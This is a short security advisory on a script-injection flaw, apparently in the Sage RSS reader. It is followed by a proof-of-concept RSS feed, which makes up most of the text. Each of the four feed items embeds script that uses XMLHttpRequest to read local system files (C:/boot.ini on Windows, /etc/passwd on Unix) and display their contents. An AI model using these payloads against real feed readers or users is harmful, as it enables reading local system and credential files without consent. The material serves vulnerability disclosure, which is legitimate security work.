source: https://www.securityfocus.com/bid/19928/info
The application is prone to an input-validation vulnerability that allows malicious HTML and script code to be injected before it is used in dynamically generated content.
Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
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<rss version="2.0">
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<channel>
<title>Cross Context Scripting with Sage</title>
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<item>
<title>WINDOWS: works with "Allow HTML Tags" off</title>
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<content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/boot.ini"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
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<item>
<title>WINDOWS: works with "Allow HTML Tags" on</title>
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<content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/boot.ini"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
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<item>
<title>UNIX: works with "Allow HTML Tags" off</title>
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<content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///etc/passwd"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
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<item>
<title>UNIX: works with "Allow HTML Tags" on</title>
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<content:encoded>
<script>try { request = new XMLHttpRequest(); request.open("GET", "file:///etc/passwd"); request.send(); alert(request.responseText); } catch(e) {}</script>
</content:encoded>
</item>
</channel>
</rss>
